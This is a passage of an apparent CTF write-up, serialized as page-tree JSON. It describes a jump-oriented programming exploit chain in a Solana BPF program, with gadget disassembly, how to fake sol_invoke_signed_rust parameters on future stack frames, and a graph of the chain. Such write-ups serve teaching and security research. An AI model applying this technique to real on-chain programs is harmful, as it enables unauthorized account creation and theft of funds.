stxw",{"type":23,"tag":230,"props":46270,"children":46271},{"style":274},[46272],{"type":29,"value":25347},{"type":23,"tag":230,"props":46274,"children":46275},{"style":262},[46276],{"type":29,"value":46277},"r2",{"type":23,"tag":230,"props":46279,"children":46280},{"style":268},[46281],{"type":29,"value":6665},{"type":23,"tag":230,"props":46283,"children":46284},{"style":5149},[46285],{"type":29,"value":6358},{"type":23,"tag":230,"props":46287,"children":46288},{"style":274},[46289],{"type":29,"value":25375},{"type":23,"tag":230,"props":46291,"children":46292},{"style":262},[46293],{"type":29,"value":46294},"r1",{"type":23,"tag":230,"props":46296,"children":46297},{"style":274},[46298],{"type":29,"value":46299},"  {",{"type":23,"tag":230,"props":46301,"children":46302},{"style":5149},[46303],{"type":29,"value":46304},"0x18",{"type":23,"tag":230,"props":46306,"children":46307},{"style":274},[46308],{"type":29,"value":975},{"type":23,"tag":230,"props":46310,"children":46311},{"class":232,"line":471},[46312,46317,46322,46327,46331,46335,46339],{"type":23,"tag":230,"props":46313,"children":46314},{"style":262},[46315],{"type":29,"value":46316},"100001bf0",{"type":23,"tag":230,"props":46318,"children":46319},{"style":5149},[46320],{"type":29,"value":46321},"  0500030000000000",{"type":23,"tag":230,"props":46323,"children":46324},{"style":262},[46325],{"type":29,"value":46326},"   ja",{"type":23,"tag":230,"props":46328,"children":46329},{"style":274},[46330],{"type":29,"value":11055},{"type":23,"tag":230,"props":46332,"children":46333},{"style":268},[46334],{"type":29,"value":6719},{"type":23,"tag":230,"props":46336,"children":46337},{"style":5149},[46338],{"type":29,"value":19616},{"type":23,"tag":230,"props":46340,"children":46341},{"style":274},[46342],{"type":29,"value":8329},{"type":23,"tag":230,"props":46344,"children":46345},{"class":232,"line":500},[46346],{"type":23,"tag":230,"props":46347,"children":46348},{"emptyLinePlaceholder":18},[46349],{"type":29,"value":459},{"type":23,"tag":230,"props":46351,"children":46352},{"class":232,"line":514},[46353,46358,46363,46367,46371,46375,46379,46383,46387,46391,46395],{"type":23,"tag":230,"props":46354,"children":46355},{"style":262},[46356],{"type":29,"value":46357},"100001bf8",{"type":23,"tag":230,"props":46359,"children":46360},{"style":262},[46361],{"type":29,"value":46362},"  79a188ff00000000",{"type":23,"tag":230,"props":46364,"children":46365},{"style":262},[46366],{"type":29,"value":45896},{"type":23,"tag":230,"props":46368,"children":46369},{"style":262},[46370],{"type":29,"value":46190},{"type":23,"tag":230,"props":46372,"children":46373},{"style":274},[46374],{"type":29,"value":45906},{"type":23,"tag":230,"props":46376,"children":46377},{"style":262},[46378],{"type":29,"value":45911},{"type":23,"tag":230,"props":46380,"children":46381},{"style":268},[46382],{"type":29,"value":6665},{"type":23,"tag":230,"props":46384,"children":46385},{"style":5149},[46386],{"type":29,"value":46237},{"type":23,"tag":230,"props":46388,"children":46389},{"style":274},[46390],{"type":29,"value":45925},{"type":23,"tag":230,"props":46392,"children":46393},{"style":262},[46394],{"type":29,"value":46246},{"type":23,"tag":230,"props":46396,"children":46397},{"style":274},[46398],{"type":29,"value":975},{"type":23,"tag":230,"props":46400,"children":46401},{"class":232,"line":897},[46402,46407,46412,46416,46420,46424],{"type":23,"tag":230,"props":46403,"children":46404},{"style":262},[46405],{"type":29,"value":46406},"100001c00",{"type":23,"tag":230,"props":46408,"children":46409},{"style":262},[46410],{"type":29,"value":46411},"  bf02000000000000",{"type":23,"tag":230,"props":46413,"children":46414},{"style":262},[46415],{"type":29,"value":46185},{"type":23,"tag":230,"props":46417,"children":46418},{"style":262},[46419],{"type":29,"value":45901},{"type":23,"tag":230,"props":46421,"children":46422},{"style":274},[46423],{"type":29,"value":684},{"type":23,"tag":230,"props":46425,"children":46426},{"style":262},[46427],{"type":29,"value":46428},"r0\n",{"type":23,"tag":230,"props":46430,"children":46431},{"class":232,"line":960},[46432,46437,46442,46446,46451,46455,46460,46464,46468,46473,46477,46481,46486,46491,46495,46499],{"type":23,"tag":230,"props":46433,"children":46434},{"style":262},[46435],{"type":29,"value":46436},"100001c08",{"type":23,"tag":230,"props":46438,"children":46439},{"style":5149},[46440],{"type":29,"value":46441},"  8510000075000000",{"type":23,"tag":230,"props":46443,"children":46444},{"style":262},[46445],{"type":29,"value":46107},{"type":23,"tag":230,"props":46447,"children":46448},{"style":676},[46449],{"type":29,"value":46450}," _ZN94_",{"type":23,"tag":230,"props":46452,"children":46453},{"style":268},[46454],{"type":29,"value":12619},{"type":23,"tag":230,"props":46456,"children":46457},{"style":676},[46458],{"type":29,"value":46459},"LT",{"type":23,"tag":230,"props":46461,"children":46462},{"style":268},[46463],{"type":29,"value":12619},{"type":23,"tag":230,"props":46465,"children":46466},{"style":262},[46467],{"type":29,"value":15980},{"type":23,"tag":230,"props":46469,"children":46470},{"style":268},[46471],{"type":29,"value":46472},"...$",{"type":23,"tag":230,"props":46474,"children":46475},{"style":262},[46476],{"type":29,"value":10377},{"type":23,"tag":230,"props":46478,"children":46479},{"style":268},[46480],{"type":29,"value":12619},{"type":23,"tag":230,"props":46482,"children":46483},{"style":676},[46484],{"type":29,"value":46485},"GT",{"type":23,"tag":230,"props":46487,"children":46488},{"style":268},[46489],{"type":29,"value":46490},"$$",{"type":23,"tag":230,"props":46492,"children":46493},{"style":676},[46494],{"type":29,"value":46485},{"type":23,"tag":230,"props":46496,"children":46497},{"style":268},[46498],{"type":29,"value":12619},{"type":23,"tag":230,"props":46500,"children":46501},{"style":274},[46502],{"type":29,"value":46503},"4from17ha0d289b72861b06dE\n",{"type":23,"tag":230,"props":46505,"children":46506},{"class":232,"line":969},[46507],{"type":23,"tag":230,"props":46508,"children":46509},{"emptyLinePlaceholder":18},[46510],{"type":29,"value":459},{"type":23,"tag":230,"props":46512,"children":46513},{"class":232,"line":4526},[46514,46519,46524,46528,46532,46536,46540,46544,46549,46553,46558],{"type":23,"tag":230,"props":46515,"children":46516},{"style":262},[46517],{"type":29,"value":46518},"100001c10",{"type":23,"tag":230,"props":46520,"children":46521},{"style":262},[46522],{"type":29,"value":46523},"  79a2b8ff00000000",{"type":23,"tag":230,"props":46525,"children":46526},{"style":262},[46527],{"type":29,"value":45896},{"type":23,"tag":230,"props":46529,"children":46530},{"style":262},[46531],{"type":29,"value":45901},{"type":23,"tag":230,"props":46533,"children":46534},{"style":274},[46535],{"type":29,"value":45906},{"type":23,"tag":230,"props":46537,"children":46538},{"style":262},[46539],{"type":29,"value":45911},{"type":23,"tag":230,"props":46541,"children":46542},{"style":268},[46543],{"type":29,"value":6665},{"type":23,"tag":230,"props":46545,"children":46546},{"style":5149},[46547],{"type":29,"value":46548},"72",{"type":23,"tag":230,"props":46550,"children":46551},{"style":274},[46552],{"type":29,"value":45925},{"type":23,"tag":230,"props":46554,"children":46555},{"style":262},[46556],{"type":29,"value":46557},"var_48",{"type":23,"tag":230,"props":46559,"children":46560},{"style":274},[46561],{"type":29,"value":975},{"type":23,"tag":230,"props":46563,"children":46564},{"class":232,"line":4534},[46565,46570,46575,46580,46584,46588,46592,46596,46600,46604],{"type":23,"tag":230,"props":46566,"children":46567},{"style":262},[46568],{"type":29,"value":46569},"100001c18",{"type":23,"tag":230,"props":46571,"children":46572},{"style":5149},[46573],{"type":29,"value":46574},"  1502040000000000",{"type":23,"tag":230,"props":46576,"children":46577},{"style":262},[46578],{"type":29,"value":46579},"   jeq",{"type":23,"tag":230,"props":46581,"children":46582},{"style":274},[46583],{"type":29,"value":11055},{"type":23,"tag":230,"props":46585,"children":46586},{"style":268},[46587],{"type":29,"value":6719},{"type":23,"tag":230,"props":46589,"children":46590},{"style":5149},[46591],{"type":29,"value":19849},{"type":23,"tag":230,"props":46593,"children":46594},{"style":274},[46595],{"type":29,"value":8158},{"type":23,"tag":230,"props":46597,"children":46598},{"style":262},[46599],{"type":29,"value":46277},{"type":23,"tag":230,"props":46601,"children":46602},{"style":274},[46603],{"type":29,"value":684},{"type":23,"tag":230,"props":46605,"children":46606},{"style":5149},[46607],{"type":29,"value":46160},{"type":23,"tag":230,"props":46609,"children":46610},{"class":232,"line":4542},[46611],{"type":23,"tag":230,"props":46612,"children":46613},{"emptyLinePlaceholder":18},[46614],{"type":29,"value":459},{"type":23,"tag":230,"props":46616,"children":46617},{"class":232,"line":4559},[46618,46623,46628,46633,46637,46641],{"type":23,"tag":230,"props":46619,"children":46620},{"style":262},[46621],{"type":29,"value":46622},"100001c20",{"type":23,"tag":230,"props":46624,"children":46625},{"style":5149},[46626],{"type":29,"value":46627},"  2702000022000000",{"type":23,"tag":230,"props":46629,"children":46630},{"style":262},[46631],{"type":29,"value":46632},"   mul",{"type":23,"tag":230,"props":46634,"children":46635},{"style":262},[46636],{"type":29,"value":45901},{"type":23,"tag":230,"props":46638,"children":46639},{"style":274},[46640],{"type":29,"value":684},{"type":23,"tag":230,"props":46642,"children":46643},{"style":5149},[46644],{"type":29,"value":46645},"0x22\n",{"type":23,"tag":230,"props":46647,"children":46648},{"class":232,"line":4587},[46649,46654,46659,46663,46667,46671,46675,46679,46684,46688,46693],{"type":23,"tag":230,"props":46650,"children":46651},{"style":262},[46652],{"type":29,"value":46653},"100001c28",{"type":23,"tag":230,"props":46655,"children":46656},{"style":262},[46657],{"type":29,"value":46658},"  79a1b0ff00000000",{"type":23,"tag":230,"props":46660,"children":46661},{"style":262},[46662],{"type":29,"value":45896},{"type":23,"tag":230,"props":46664,"children":46665},{"style":262},[46666],{"type":29,"value":46190},{"type":23,"tag":230,"props":46668,"children":46669},{"style":274},[46670],{"type":29,"value":45906},{"type":23,"tag":230,"props":46672,"children":46673},{"style":262},[46674],{"type":29,"value":45911},{"type":23,"tag":230,"props":46676,"children":46677},{"style":268},[46678],{"type":29,"value":6665},{"type":23,"tag":230,"props":46680,"children":46681},{"style":5149},[46682],{"type":29,"value":46683},"80",{"type":23,"tag":230,"props":46685,"children":46686},{"style":274},[46687],{"type":29,"value":45925},{"type":23,"tag":230,"props":46689,"children":46690},{"style":262},[46691],{"type":29,"value":46692},"var_50",{"type":23,"tag":230,"props":46694,"children":46695},{"style":274},[46696],{"type":29,"value":975},{"type":23,"tag":230,"props":46698,"children":46699},{"class":232,"line":4595},[46700,46705,46710,46714,46718,46722],{"type":23,"tag":230,"props":46701,"children":46702},{"style":262},[46703],{"type":29,"value":46704},"100001c30",{"type":23,"tag":230,"props":46706,"children":46707},{"style":262},[46708],{"type":29,"value":46709},"  b703000001000000",{"type":23,"tag":230,"props":46711,"children":46712},{"style":262},[46713],{"type":29,"value":46185},{"type":23,"tag":230,"props":46715,"children":46716},{"style":262},[46717],{"type":29,"value":45956},{"type":23,"tag":230,"props":46719,"children":46720},{"style":274},[46721],{"type":29,"value":684},{"type":23,"tag":230,"props":46723,"children":46724},{"style":5149},[46725],{"type":29,"value":46726},"0x1\n",{"type":23,"tag":230,"props":46728,"children":46729},{"class":232,"line":4619},[46730,46735,46740,46744],{"type":23,"tag":230,"props":46731,"children":46732},{"style":262},[46733],{"type":29,"value":46734},"100001c38",{"type":23,"tag":230,"props":46736,"children":46737},{"style":262},[46738],{"type":29,"value":46739},"  8510000003feffff",{"type":23,"tag":230,"props":46741,"children":46742},{"style":262},[46743],{"type":29,"value":46107},{"type":23,"tag":230,"props":46745,"children":46746},{"style":262},[46747],{"type":29,"value":46748}," __rust_dealloc\n",{"type":23,"tag":230,"props":46750,"children":46751},{"class":232,"line":4627},[46752],{"type":23,"tag":230,"props":46753,"children":46754},{"emptyLinePlaceholder":18},[46755],{"type":29,"value":459},{"type":23,"tag":230,"props":46757,"children":46758},{"class":232,"line":4659},[46759,46764,46769,46773,46777,46781,46785,46789,46794,46798,46803],{"type":23,"tag":230,"props":46760,"children":46761},{"style":262},[46762],{"type":29,"value":46763},"100001c40",{"type":23,"tag":230,"props":46765,"children":46766},{"style":262},[46767],{"type":29,"value":46768},"  79a2d0ff00000000",{"type":23,"tag":230,"props":46770,"children":46771},{"style":262},[46772],{"type":29,"value":45896},{"type":23,"tag":230,"props":46774,"children":46775},{"style":262},[46776],{"type":29,"value":45901},{"type":23,"tag":230,"props":46778,"children":46779},{"style":274},[46780],{"type":29,"value":45906},{"type":23,"tag":230,"props":46782,"children":46783},{"style":262},[46784],{"type":29,"value":45911},{"type":23,"tag":230,"props":46786,"children":46787},{"style":268},[46788],{"type":29,"value":6665},{"type":23,"tag":230,"props":46790,"children":46791},{"style":5149},[46792],{"type":29,"value":46793},"48",{"type":23,"tag":230,"props":46795,"children":46796},{"style":274},[46797],{"type":29,"value":45925},{"type":23,"tag":230,"props":46799,"children":46800},{"style":262},[46801],{"type":29,"value":46802},"var_30",{"type":23,"tag":230,"props":46804,"children":46805},{"style":274},[46806],{"type":29,"value":975},{"type":23,"tag":230,"props":46808,"children":46809},{"class":232,"line":4671},[46810,46815,46820,46824,46828,46832,46836,46840,46844,46848],{"type":23,"tag":230,"props":46811,"children":46812},{"style":262},[46813],{"type":29,"value":46814},"100001c48",{"type":23,"tag":230,"props":46816,"children":46817},{"style":5149},[46818],{"type":29,"value":46819},"  1502030000000000",{"type":23,"tag":230,"props":46821,"children":46822},{"style":262},[46823],{"type":29,"value":46579},{"type":23,"tag":230,"props":46825,"children":46826},{"style":274},[46827],{"type":29,"value":11055},{"type":23,"tag":230,"props":46829,"children":46830},{"style":268},[46831],{"type":29,"value":6719},{"type":23,"tag":230,"props":46833,"children":46834},{"style":5149},[46835],{"type":29,"value":19616},{"type":23,"tag":230,"props":46837,"children":46838},{"style":274},[46839],{"type":29,"value":8158},{"type":23,"tag":230,"props":46841,"children":46842},{"style":262},[46843],{"type":29,"value":46277},{"type":23,"tag":230,"props":46845,"children":46846},{"style":274},[46847],{"type":29,"value":684},{"type":23,"tag":230,"props":46849,"children":46850},{"style":5149},[46851],{"type":29,"value":46160},{"type":23,"tag":230,"props":46853,"children":46854},{"class":232,"line":4688},[46855],{"type":23,"tag":230,"props":46856,"children":46857},{"emptyLinePlaceholder":18},[46858],{"type":29,"value":459},{"type":23,"tag":230,"props":46860,"children":46861},{"class":232,"line":4701},[46862,46867,46872,46876,46880,46884,46888,46892,46897,46901,46906],{"type":23,"tag":230,"props":46863,"children":46864},{"style":262},[46865],{"type":29,"value":46866},"100001c50",{"type":23,"tag":230,"props":46868,"children":46869},{"style":262},[46870],{"type":29,"value":46871},"  79a1c8ff00000000",{"type":23,"tag":230,"props":46873,"children":46874},{"style":262},[46875],{"type":29,"value":45896},{"type":23,"tag":230,"props":46877,"children":46878},{"style":262},[46879],{"type":29,"value":46190},{"type":23,"tag":230,"props":46881,"children":46882},{"style":274},[46883],{"type":29,"value":45906},{"type":23,"tag":230,"props":46885,"children":46886},{"style":262},[46887],{"type":29,"value":45911},{"type":23,"tag":230,"props":46889,"children":46890},{"style":268},[46891],{"type":29,"value":6665},{"type":23,"tag":230,"props":46893,"children":46894},{"style":5149},[46895],{"type":29,"value":46896},"56",{"type":23,"tag":230,"props":46898,"children":46899},{"style":274},[46900],{"type":29,"value":45925},{"type":23,"tag":230,"props":46902,"children":46903},{"style":262},[46904],{"type":29,"value":46905},"var_38",{"type":23,"tag":230,"props":46907,"children":46908},{"style":274},[46909],{"type":29,"value":975},{"type":23,"tag":230,"props":46911,"children":46912},{"class":232,"line":4724},[46913,46918,46922,46926,46930,46934],{"type":23,"tag":230,"props":46914,"children":46915},{"style":262},[46916],{"type":29,"value":46917},"100001c58",{"type":23,"tag":230,"props":46919,"children":46920},{"style":262},[46921],{"type":29,"value":46709},{"type":23,"tag":230,"props":46923,"children":46924},{"style":262},[46925],{"type":29,"value":46185},{"type":23,"tag":230,"props":46927,"children":46928},{"style":262},[46929],{"type":29,"value":45956},{"type":23,"tag":230,"props":46931,"children":46932},{"style":274},[46933],{"type":29,"value":684},{"type":23,"tag":230,"props":46935,"children":46936},{"style":5149},[46937],{"type":29,"value":46726},{"type":23,"tag":230,"props":46939,"children":46940},{"class":232,"line":4741},[46941,46946,46951,46955],{"type":23,"tag":230,"props":46942,"children":46943},{"style":262},[46944],{"type":29,"value":46945},"100001c60",{"type":23,"tag":230,"props":46947,"children":46948},{"style":262},[46949],{"type":29,"value":46950},"  85100000fefdffff",{"type":23,"tag":230,"props":46952,"children":46953},{"style":262},[46954],{"type":29,"value":46107},{"type":23,"tag":230,"props":46956,"children":46957},{"style":262},[46958],{"type":29,"value":46748},{"type":23,"tag":230,"props":46960,"children":46961},{"class":232,"line":4759},[46962],{"type":23,"tag":230,"props":46963,"children":46964},{"emptyLinePlaceholder":18},[46965],{"type":29,"value":459},{"type":23,"tag":230,"props":46967,"children":46968},{"class":232,"line":4768},[46969,46974,46979,46984,46989,46994],{"type":23,"tag":230,"props":46970,"children":46971},{"style":262},[46972],{"type":29,"value":46973},"100001c68",{"type":23,"tag":230,"props":46975,"children":46976},{"style":5149},[46977],{"type":29,"value":46978},"  9500000000000000",{"type":23,"tag":230,"props":46980,"children":46981},{"style":262},[46982],{"type":29,"value":46983},"   exit",{"type":23,"tag":230,"props":46985,"children":46986},{"style":274},[46987],{"type":29,"value":46988}," {",{"type":23,"tag":230,"props":46990,"children":46991},{"style":262},[46992],{"type":29,"value":46993},"__return_addr",{"type":23,"tag":230,"props":46995,"children":46996},{"style":274},[46997],{"type":29,"value":975},{"type":23,"tag":32,"props":46999,"children":47000},{},[47001,47003,47009],{"type":29,"value":47002},"Which, assuming that ",{"type":23,"tag":71,"props":47004,"children":47006},{"className":47005},[],[47007],{"type":29,"value":47008},"sol_invoke_signed_rust",{"type":29,"value":47010}," returns 0, is doing the following:",{"type":23,"tag":144,"props":47012,"children":47013},{},[47014,47023,47032],{"type":23,"tag":102,"props":47015,"children":47016},{},[47017],{"type":23,"tag":71,"props":47018,"children":47020},{"className":47019},[],[47021],{"type":29,"value":47022},"sol_invoke_signed_rust(r1, [r10-136], [r10-128], [r10-152], [r10-144])",{"type":23,"tag":102,"props":47024,"children":47025},{},[47026],{"type":23,"tag":71,"props":47027,"children":47029},{"className":47028},[],[47030],{"type":29,"value":47031},"*[r10-120] = 0x18",{"type":23,"tag":102,"props":47033,"children":47034},{},[47035,47037,47043,47045,47052],{"type":29,"value":47036},"Calls ",{"type":23,"tag":71,"props":47038,"children":47040},{"className":47039},[],[47041],{"type":29,"value":47042},"__rust_dealloc",{"type":29,"value":47044},", which in default circumstances is a ",{"type":23,"tag":181,"props":47046,"children":47049},{"href":47047,"rel":47048},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/entrypoint.rs#L257C1-L259",[185],[47050],{"type":29,"value":47051},"NOP",{"type":29,"value":312},{"type":23,"tag":32,"props":47054,"children":47055},{},[47056],{"type":29,"value":47057},"r10 is the stack pointer, so it will point to the stack frame of the current depth when executing that instruction.",{"type":23,"tag":32,"props":47059,"children":47060},{},[47061],{"type":29,"value":47062},"If we correctly set up the stack frame used by this gadget with valid parameters, that's a win.",{"type":23,"tag":32,"props":47064,"children":47065},{},[47066,47068,47075],{"type":29,"value":47067},"Looking at the ",{"type":23,"tag":181,"props":47069,"children":47072},{"href":47070,"rel":47071},"https://github.com/solana-labs/solana/blob/master/sdk/program/src/syscalls/definitions.rs#L59",[185],[47073],{"type":29,"value":47074},"definition",{"type":29,"value":47076},", it's not crystal clear what the parameters are:",{"type":23,"tag":220,"props":47078,"children":47080},{"className":5320,"code":47079,"language":5319,"meta":7,"style":7},"fn sol_invoke_signed_rust(instruction_addr: *const u8, account_infos_addr: *const u8, account_infos_len: u64, signers_seeds_addr: *const u8, signers_seeds_len: u64) -> u64\n",[47081],{"type":23,"tag":71,"props":47082,"children":47083},{"__ignoreMap":7},[47084],{"type":23,"tag":230,"props":47085,"children":47086},{"class":232,"line":233},[47087,47091,47096,47100,47105,47109,47113,47117,47121,47125,47130,47134,47138,47142,47146,47150,47155,47159,47163,47167,47172,47176,47180,47184,47188,47192,47197,47201,47205,47209,47213],{"type":23,"tag":230,"props":47088,"children":47089},{"style":256},[47090],{"type":29,"value":22581},{"type":23,"tag":230,"props":47092,"children":47093},{"style":294},[47094],{"type":29,"value":47095}," sol_invoke_signed_rust",{"type":23,"tag":230,"props":47097,"children":47098},{"style":274},[47099],{"type":29,"value":302},{"type":23,"tag":230,"props":47101,"children":47102},{"style":262},[47103],{"type":29,"value":47104},"instruction_addr",{"type":23,"tag":230,"props":47106,"children":47107},{"style":268},[47108],{"type":29,"value":218},{"type":23,"tag":230,"props":47110,"children":47111},{"style":268},[47112],{"type":29,"value":12147},{"type":23,"tag":230,"props":47114,"children":47115},{"style":256},[47116],{"type":29,"value":259},{"type":23,"tag":230,"props":47118,"children":47119},{"style":676},[47120],{"type":29,"value":16961},{"type":23,"tag":230,"props":47122,"children":47123},{"style":274},[47124],{"type":29,"value":684},{"type":23,"tag":230,"props":47126,"children":47127},{"style":262},[47128],{"type":29,"value":47129},"account_infos_addr",{"type":23,"tag":230,"props":47131,"children":47132},{"style":268},[47133],{"type":29,"value":218},{"type":23,"tag":230,"props":47135,"children":47136},{"style":268},[47137],{"type":29,"value":12147},{"type":23,"tag":230,"props":47139,"children":47140},{"style":256},[47141],{"type":29,"value":259},{"type":23,"tag":230,"props":47143,"children":47144},{"style":676},[47145],{"type":29,"value":16961},{"type":23,"tag":230,"props":47147,"children":47148},{"style":274},[47149],{"type":29,"value":684},{"type":23,"tag":230,"props":47151,"children":47152},{"style":262},[47153],{"type":29,"value":47154},"account_infos_len",{"type":23,"tag":230,"props":47156,"children":47157},{"style":268},[47158],{"type":29,"value":218},{"type":23,"tag":230,"props":47160,"children":47161},{"style":676},[47162],{"type":29,"value":8197},{"type":23,"tag":230,"props":47164,"children":47165},{"style":274},[47166],{"type":29,"value":684},{"type":23,"tag":230,"props":47168,"children":47169},{"style":262},[47170],{"type":29,"value":47171},"signers_seeds_addr",{"type":23,"tag":230,"props":47173,"children":47174},{"style":268},[47175],{"type":29,"value":218},{"type":23,"tag":230,"props":47177,"children":47178},{"style":268},[47179],{"type":29,"value":12147},{"type":23,"tag":230,"props":47181,"children":47182},{"style":256},[47183],{"type":29,"value":259},{"type":23,"tag":230,"props":47185,"children":47186},{"style":676},[47187],{"type":29,"value":16961},{"type":23,"tag":230,"props":47189,"children":47190},{"style":274},[47191],{"type":29,"value":684},{"type":23,"tag":230,"props":47193,"children":47194},{"style":262},[47195],{"type":29,"value":47196},"signers_seeds_len",{"type":23,"tag":230,"props":47198,"children":47199},{"style":268},[47200],{"type":29,"value":218},{"type":23,"tag":230,"props":47202,"children":47203},{"style":676},[47204],{"type":29,"value":8197},{"type":23,"tag":230,"props":47206,"children":47207},{"style":274},[47208],{"type":29,"value":703},{"type":23,"tag":230,"props":47210,"children":47211},{"style":268},[47212],{"type":29,"value":16084},{"type":23,"tag":230,"props":47214,"children":47215},{"style":676},[47216],{"type":29,"value":15525},{"type":23,"tag":32,"props":47218,"children":47219},{},[47220,47222,47227,47229,47236],{"type":29,"value":47221},"The source of ",{"type":23,"tag":181,"props":47223,"children":47225},{"href":47224},"(https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/program.rs#L289)",[47226],{"type":29,"value":45837},{"type":29,"value":47228}," helps a lot, but looking at the actual ",{"type":23,"tag":181,"props":47230,"children":47233},{"href":47231,"rel":47232},"https://github.com/solana-labs/solana/blob/v1.17.4/programs/bpf_loader/src/syscalls/cpi.rs#L458-L637",[185],[47234],{"type":29,"value":47235},"implementation",{"type":29,"value":47237}," provides more clarity:",{"type":23,"tag":98,"props":47239,"children":47240},{},[47241],{"type":23,"tag":102,"props":47242,"children":47243},{},[47244,47249,47251,47258],{"type":23,"tag":71,"props":47245,"children":47247},{"className":47246},[],[47248],{"type":29,"value":47104},{"type":29,"value":47250}," points to a ",{"type":23,"tag":181,"props":47252,"children":47255},{"href":47253,"rel":47254},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/stable_layout/stable_instruction.rs#L33",[185],[47256],{"type":29,"value":47257},"StableInstruction",{"type":29,"value":218},{"type":23,"tag":32,"props":47260,"children":47261},{},[47262],{"type":23,"tag":93,"props":47263,"children":47265},{"alt":47257,"src":47264},"/posts/jumping-around-in-the-vm/stable_ix.svg",[],{"type":23,"tag":98,"props":47267,"children":47268},{},[47269,47294],{"type":23,"tag":102,"props":47270,"children":47271},{},[47272,47277,47279,47284,47286,47293],{"type":23,"tag":71,"props":47273,"children":47275},{"className":47274},[],[47276],{"type":29,"value":47129},{"type":29,"value":47278}," points to a slice of ",{"type":23,"tag":71,"props":47280,"children":47282},{"className":47281},[],[47283],{"type":29,"value":47154},{"type":29,"value":47285},"  ",{"type":23,"tag":181,"props":47287,"children":47290},{"href":47288,"rel":47289},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/account_info.rs#L19-L36",[185],[47291],{"type":29,"value":47292},"AccountInfos",{"type":29,"value":312},{"type":23,"tag":102,"props":47295,"children":47296},{},[47297,47302,47304,47309,47311,47316],{"type":23,"tag":71,"props":47298,"children":47300},{"className":47299},[],[47301],{"type":29,"value":47171},{"type":29,"value":47303}," is a bit trickier, it points to a slice of length ",{"type":23,"tag":71,"props":47305,"children":47307},{"className":47306},[],[47308],{"type":29,"value":47196},{"type":29,"value":47310},", containing slices of ",{"type":23,"tag":71,"props":47312,"children":47314},{"className":47313},[],[47315],{"type":29,"value":5759},{"type":29,"value":312},{"type":23,"tag":32,"props":47318,"children":47319},{},[47320],{"type":23,"tag":93,"props":47321,"children":47324},{"alt":47322,"src":47323},"signers.drawio","/posts/jumping-around-in-the-vm/signers.svg",[],{"type":23,"tag":32,"props":47326,"children":47327},{},[47328,47330,47335],{"type":29,"value":47329},"Where do we store those fake parameters? We can store them directly inside the input data, and just write the pointers to them on the stack through the write gadget. Note that these writes are to ",{"type":23,"tag":2258,"props":47331,"children":47332},{},[47333],{"type":29,"value":47334},"future call frames",{"type":29,"value":312},{"type":23,"tag":32,"props":47337,"children":47338},{},[47339,47341,47348],{"type":29,"value":47340},"Now that we have all the parts, all we need is to string it together. The full ",{"type":23,"tag":181,"props":47342,"children":47345},{"href":47343,"rel":47344},"https://github.com/chen-robert/paradigmctf-2023/blob/main/jotterp/framework-solve/src/main.rs",[185],[47346],{"type":29,"value":47347},"reference solution can be found here",{"type":29,"value":312},{"type":23,"tag":32,"props":47350,"children":47351},{},[47352],{"type":29,"value":47353},"Here's a visualization of the final JOP chain.",{"type":23,"tag":220,"props":47355,"children":47357},{"className":45719,"code":47356,"language":45721,"meta":7,"style":7},"graph BT\n    A[0: entrypoint] --> B[1: process_instruction]\n    B --> C[2: process]\n    C --> D[3: Write account_infos.ptr to target_r10 - 136]\n    C --> E[3: process]\n    E --> F[4: Write account_infos.len to target_r10 - 128]\n    E --> G[4: process]\n    G --> H[5: Write signers_seeds.ptr to target_r10 - 152]\n    G --> I[5: process]\n    I --> J[6: Write signers_seeds.len to target_r10 - 144]\n    I --> K[6: process]\n    K --> M[7: Write HeapBase to target_r10 - 120]\n    K --> N[7: process]\n    N --> P[8: Invoke CPI Gadget with R0 pointing to the CreateAccount instruction]\n    N --> O[8: Write 0x4337 to the account]\n",[47358],{"type":23,"tag":71,"props":47359,"children":47360},{"__ignoreMap":7},[47361,47369,47376,47383,47391,47398,47406,47414,47422,47430,47438,47446,47454,47462,47470],{"type":23,"tag":230,"props":47362,"children":47363},{"class":232,"line":233},[47364],{"type":23,"tag":230,"props":47365,"children":47366},{},[47367],{"type":29,"value":47368},"graph BT\n",{"type":23,"tag":230,"props":47370,"children":47371},{"class":232,"line":243},[47372],{"type":23,"tag":230,"props":47373,"children":47374},{},[47375],{"type":29,"value":45741},{"type":23,"tag":230,"props":47377,"children":47378},{"class":232,"line":252},[47379],{"type":23,"tag":230,"props":47380,"children":47381},{},[47382],{"type":29,"value":45749},{"type":23,"tag":230,"props":47384,"children":47385},{"class":232,"line":280},[47386],{"type":23,"tag":230,"props":47387,"children":47388},{},[47389],{"type":29,"value":47390},"    C --> D[3: Write account_infos.ptr to target_r10 - 136]\n",{"type":23,"tag":230,"props":47392,"children":47393},{"class":232,"line":334},[47394],{"type":23,"tag":230,"props":47395,"children":47396},{},[47397],{"type":29,"value":45765},{"type":23,"tag":230,"props":47399,"children":47400},{"class":232,"line":371},[47401],{"type":23,"tag":230,"props":47402,"children":47403},{},[47404],{"type":29,"value":47405},"    E --> F[4: Write account_infos.len to target_r10 - 128]\n",{"type":23,"tag":230,"props":47407,"children":47408},{"class":232,"line":391},[47409],{"type":23,"tag":230,"props":47410,"children":47411},{},[47412],{"type":29,"value":47413},"    E --> G[4: process]\n",{"type":23,"tag":230,"props":47415,"children":47416},{"class":232,"line":400},[47417],{"type":23,"tag":230,"props":47418,"children":47419},{},[47420],{"type":29,"value":47421},"    G --> H[5: Write signers_seeds.ptr to target_r10 - 152]\n",{"type":23,"tag":230,"props":47423,"children":47424},{"class":232,"line":444},[47425],{"type":23,"tag":230,"props":47426,"children":47427},{},[47428],{"type":29,"value":47429},"    G --> I[5: process]\n",{"type":23,"tag":230,"props":47431,"children":47432},{"class":232,"line":453},[47433],{"type":23,"tag":230,"props":47434,"children":47435},{},[47436],{"type":29,"value":47437},"    I --> J[6: Write signers_seeds.len to target_r10 - 144]\n",{"type":23,"tag":230,"props":47439,"children":47440},{"class":232,"line":462},[47441],{"type":23,"tag":230,"props":47442,"children":47443},{},[47444],{"type":29,"value":47445},"    I --> K[6: process]\n",{"type":23,"tag":230,"props":47447,"children":47448},{"class":232,"line":471},[47449],{"type":23,"tag":230,"props":47450,"children":47451},{},[47452],{"type":29,"value":47453},"    K --> M[7: Write HeapBase to target_r10 - 120]\n",{"type":23,"tag":230,"props":47455,"children":47456},{"class":232,"line":500},[47457],{"type":23,"tag":230,"props":47458,"children":47459},{},[47460],{"type":29,"value":47461},"    K --> N[7: 